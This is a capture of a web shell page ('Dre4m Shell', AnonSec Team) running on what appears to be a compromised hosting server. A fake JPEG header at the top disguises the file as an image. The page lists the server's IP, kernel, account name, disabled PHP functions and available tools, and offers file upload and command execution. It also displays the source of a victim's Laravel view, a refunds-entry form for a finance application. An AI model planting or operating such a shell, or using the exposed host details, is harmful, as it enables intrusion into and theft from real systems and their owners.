ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.221.254.82
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/fundscopied/resources/views/njcReconciliation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/fundscopied/resources/views/njcReconciliation/addRefunds.blade.php
@extends('layouts.layout')
@section('pageTitle')
	Add New Refunds Entry
@endsection

@section('content')
<form method="post" action="{{ route('PostCreateRefunds') }}">

	<div class="box-body">
		<div class="row">
			<div class="col-md-12">
				@if (count($errors) > 0)
				<div class="alert alert-danger alert-dismissible" role="alert">
					<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
					</button>
					<strong>Error!</strong> 
					@foreach ($errors->all() as $error)
					<p>{{ $error }}</p>
					@endforeach
				</div>
				@endif

				@if(session('message'))
				<div class="alert alert-success alert-dismissible" role="alert">
					<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
					</button>
					<strong>Success!</strong> 
					{{ session('message') }}
				</div>                        
				@endif
				@if(session('error'))
				<div class="alert alert-danger alert-dismissible" role="alert">
					<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
					</button>
					<strong>Error!</strong> 
					{{ session('error') }}
				</div>                        
				@endif
			</div>
			<div class="col-md-12"><!--2nd col-->
				<div class="row">
					<div class="col-md-6">
						<div class="form-group">
							<label >No. of Voucher(Optional)</label>
							<input type="Text" name="numberOfVoucher" class="form-control input-lg" >
						</div> 
					</div>
					<div class="col-md-6">
						<div class="form-group">
							<label for="fromWhomReceived">From Whom Received</label>
							<input type="Text" name="fromWhomReceived" class="form-control input-lg" >
						</div>
					</div>
				</div>

				<div class="row">
					<div class="col-md-6">
						<div class="form-group">
							<label for="descriptionOfReceipt">Description of Receipt </label>
							<input type="Text" name="descriptionOfReceipt" class="form-control input-lg" Required>
						</div>
					</div>
					<div class="col-md-6">
						<div class="form-group">
							<label for="date">Date</label>
							<input type="Text" name="refundsDate" readonly id="refundsDate" class="form-control input-lg" placeholder="Select Date" Required >
						</div>
					</div>
				</div> 
				<div class="row">
					<div class="col-md-6">
						<div class="form-group">
							<label for="numberOfTreasury">No. of Treasury(Optional)</label>
							<input type="Text" name="numberOfTreasury" class="form-control input-lg" >
						</div>
					</div>
					<div class="col-md-6">
						<div class="form-group">
							<label for="tsaBank">TSA/Bank (Amount)</label>
							<input type="Text" name="tsaBank" class="form-control input-lg" placeholder="No comma" Required >
						</div>
					</div>
				</div>  
				<div class="row">
					<div class="col-md-3">
						<div class="form-group">
							<label for="accountType">Account Type</label>
							<select name="accountType" id="accountType" class="form-control input-lg">
								<option value="">Select Account Type</option>
								@forelse($contractType as $getType)
									<option value="{{$getType->ID}}">{{$getType->contractType}}</option>
								@empty
									<option value="">Select Account Type</option>
								@endforelse
							</select>
						</div>
					</div>
					<div class="col-md-3">
						<div class="form-group">
							<label for="allocationType">Allocation Type</label>
							<select name="allocationType" id="allocationType" class="getAllocation form-control input-lg">
								<option value="">Select Allocation Type</option>
								@forelse($allocationType as $getAllocation)
									<option value="{{$getAllocation->ID}}">{{$getAllocation->allocation}}</option>
								@empty
									<option value="">Select Allocation Type</option>
								@endforelse
							</select>
						</div>
					</div>
					<div class="col-md-6">
						<div class="form-group">
							<label for="division">NCOA (Economic Code)</label>
							<select name="economicCode" id="economicCode" class="form-control input-lg">
								<option value="">--Select--</option>
							</select>	
						</div>
					</div>
				</div>
				<hr />
			<div class="row">
					<div class="col-md-6">
						<div class="form-group">
							<label for=""></label>
							<div align="right">
								<button class="btn btn-success" type="submit"> Add Refunds</button>
							</div>
						</div>
					</div>
				</div>
			</div>
		{{ csrf_field() }}
		
	</div><!-- /.col -->
</div><!-- /.row -->
</form>
	<div class="table-responsive" style="font-size: 12px; padding:10px;">
			<table class="table table-bordered">
			<thead>
				<tr >
			               	<th ></th>
			                <th>Econimic code</th>
			                <th >Amount</th>
			                <th >Purpose</th>
			                <th >Source</th>
			                <th ></th>
			                
			 	</tr>
			</thead>
						@php 
						$serialNum = 1; 
						$bf=0;
						$tr=0;
						$ta=0;
						@endphp
						
						@foreach ($ReconciliationRecords as $b) 
							<tr>
								<td>{{ $serialNum ++}} </td>
								<td style="text-transform:capitalize;">{{$b->description}}:{{$b->economicCode}}</td>
								<td style="text-align:right;">{{number_format(abs($b->amount_tsa_bank),2)}}</td>
								<td style="text-transform:capitalize;">{{$b->des_of_receipt}}</td>
								<td style="text-transform:capitalize;">{{$b->from_whom_received}}</td>
								<td> <a href="{{url('/delete/refund/'.$b->refundID)}}" onclick="return deleteConfirm();"><i class="fa fa-trash"></i></a></td>
									</tr>
							@endforeach	
						
							
			 </table>
			 <button class="print hidden-print" type="submit" >Print</button>
		</div>

@stop

@section('scripts')
	<link rel="stylesheet" type="text/css" href="{{asset('assets/css/datepicker.min.css')}}">
	<script src="{{asset('assets/js/jquery-ui.min.js')}}"></script>
	<script>
	    function deleteConfirm()
	    {
	        var x = confirm('do you realy want to delete this record');
	        if(x) 
	        {
	            return true;
	        }
	        else
	        {
	            return false;
	        }
	    }
	</script>
	
	<script>
        $( function(){
            $("#refundsDate").datepicker({changeMonth: true,changeYear: true,dateFormat: 'yy-mm-dd'});
        });
        //Get economic Code
        $(document).ready(function() {
            $(".getAllocation").change(function () {
                $('#economicCode').empty().append('<option value="" selected>--Select--</option>');
                var accountType = $('#accountType').val();
                var allocationType = $('#allocationType').val();
                if (accountType === '' ) {
                    $('#accountType').css('borderColor', 'red');
                    alert('Please select Account Type!');
                    $('#accountType').focus();
                    return false;
                }
                if (allocationType === '') {
                    $('#allocationType').css('borderColor', 'red');
                    alert('Please select Allocation Type!');
                    $('#allocationType').focus();
                    return false;
                }
                $('#accountType').css('borderColor', 'grey');
                $('#allocationType').css('borderColor', 'grey');
                $.ajax({
                    url: murl + '/get-economic-code-for-refound',
                    type: "post",
                    data: {
                        'contractTypeID': accountType,
                        'allocationTypeID': allocationType,
                        '_token': $('input[name=_token]').val()
                    },
                    success: function (data) {
                        var opt = '';
                        for(var i=0; i<data.length; i++) {
                            opt += '<option value="' + data[i].economicID + '">' + data[i].description  + '</option>'; //+ ' - Bal.: ' + data[i].bal 
                        }
                        $('#economicCode').append(opt);
                    },
                    error: function (jqXHR, status, err) {
                        alert('Sorry, error occurred! Refresh this page. ' + err);
                    }
                })
            });
        });

	</script>
@stop

Anon7 - 2022
AnonSec Team